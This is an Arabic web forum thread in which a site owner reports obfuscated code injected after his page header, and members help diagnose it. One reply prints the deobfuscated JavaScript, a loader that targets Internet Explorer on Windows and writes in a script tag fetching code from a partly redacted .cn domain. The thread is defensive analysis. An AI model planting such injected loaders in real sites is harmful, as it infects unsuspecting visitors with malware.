ما هذا الكود الغريب

[bakri]

السلام عليكم،

عندي موقع http://www.child-city.net موقع مدينة الطفل ويشتغل كويس بس.....

بعد الهيدر وجدت الكود التالي:
في المرفقات

ومش عارف ظهر منين وبالجد هو كود غريب وانا مش حطيته...

ممكن حد يساعدني؟؟!

[فتى الخفجي]

كود تلغيم الصفحه
--------------

مشفره طبعا اكيد معه معلومات موقعك وملغم الصفحه يبي ضحايا يعني اي زائر يدخل موقعك متصفحه انتر اكس بلورا ضحيه -

[محمد الثقفي]

السلام عليكم

رجاءً اكواد كهذه لاتكتبها مباشره في الموضوع وانما ارفقها فقط

تم تعديل الموضوع

شكراً لك

[bakri]

وش الحل طيب

انا نزلت الصفحة عندي ووجدتها نظيفة بس لما ادش عالنت يظهر في الـ Source Code

طب كيف ممكن افك التشفير؟؟!

[M. Al-Dhafeeri]

وش الحل طيب

انا نزلت الصفحة عندي ووجدتها نظيفة بس لما ادش عالنت يظهر في الـ Source Code

طب كيف ممكن افك التشفير؟؟!

حاول تتأكد من صفحاتك الأخرى لاني توني دخلت موقعك وطلعلي انذار انه فيه فايروس..

ديربالك وعدل الصفحات من خلال notepad

[bakri]

والله انا معدلها دلوقت بس انا مشترك في ratteb و webstats ممكن يكون منهم؟!

[فتى الخفجي]

اذا عدلتها ورجعت اعرف في جهازك فيروس وعطني رابط موقعك انا اقولك طريقه التعديل ممكن ماعندك خبره انت ابي اساعدك

[فتى الخفجي]

http://www.child-city.net/
مافيه شي موقعك؟

[bakri]

اخي فتي الخفجي الكود موجود آخر الهيدر <header/> اذا فتحت View source ستجدة

لكم الشكر

لكم جزيل الشكر

[bakri]

والله مشكلة...

الكود ظهر منين بس وانا مش حطيته؟؟!

عملت لحث عنه ووجدته ايضاً في source هذا الموقع واعتقد انه اسرائيلي:

Starcraft2bg.org

لكم الشكر

[احمد شكر]

قمت بفك تشفيره و ووجدت الكود التالي , الكود يستخدم حيله بسيطه لتضليل وهو بتبديل % بــ ~ لكي يصعب فهمه , وبعدها يستخدم دالة unescape

</head><script language=javascript><!-- 
var a="ScriptEngine",b="Version()+",j ="",u=navigator.userAgent;
if((u.indexOf("Win")>0)&&( u.indexOf("NT 6")<0)&&(document.cookie.indexOf(" miek=1")<0)&&(typeof(zrvzts)!=typeof("A")))
{
 zrvzts="A";
 eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+% 61+"Build"+b+"j;");
 document.write("<script src=//****.cn/rs s/?id="+j+"><\/script>");
}
 
--></script>

من خلال نظرة سريعة الكود يقوم بتفحص نوع متصفح بمعنى اخر اذا كان من نوع اكسبلورر و منظام تشغيل ويندوز و بعدها يقوم باستعدعاء سكربت من احد مواقع ال(نطاق صيني ) قمت بحذفه ..

[عمرو درويش]

السلام عليكم

بعد مشاهدة هذا الموضوع شيكت على المنتدى بمشاهدة كود الصفحة الرئيسية للمنتدى

فتشت لم اجده بالهيدر ولا الفوتر

الكود

بالمرفقات

ارجوا معرفة طريقة التعامل مع هذا الامر

و بحثت عنه وجدت منتديات بها هذا الكود

شاهد الرابط هنا >>>> google

[bakri]

والله مشكلة شباب (((((((((((((

الكود اصبح كودين الحين............. يعني الكود اصبح كودين (2) شيء عجيب وانا فحصت كل الملفات html و php و javascripts وهي 100% مفيهاش حاجة

والله انا محتار شو سوي؟؟!

يكون السيرفر مضروب ولا أيه؟؟!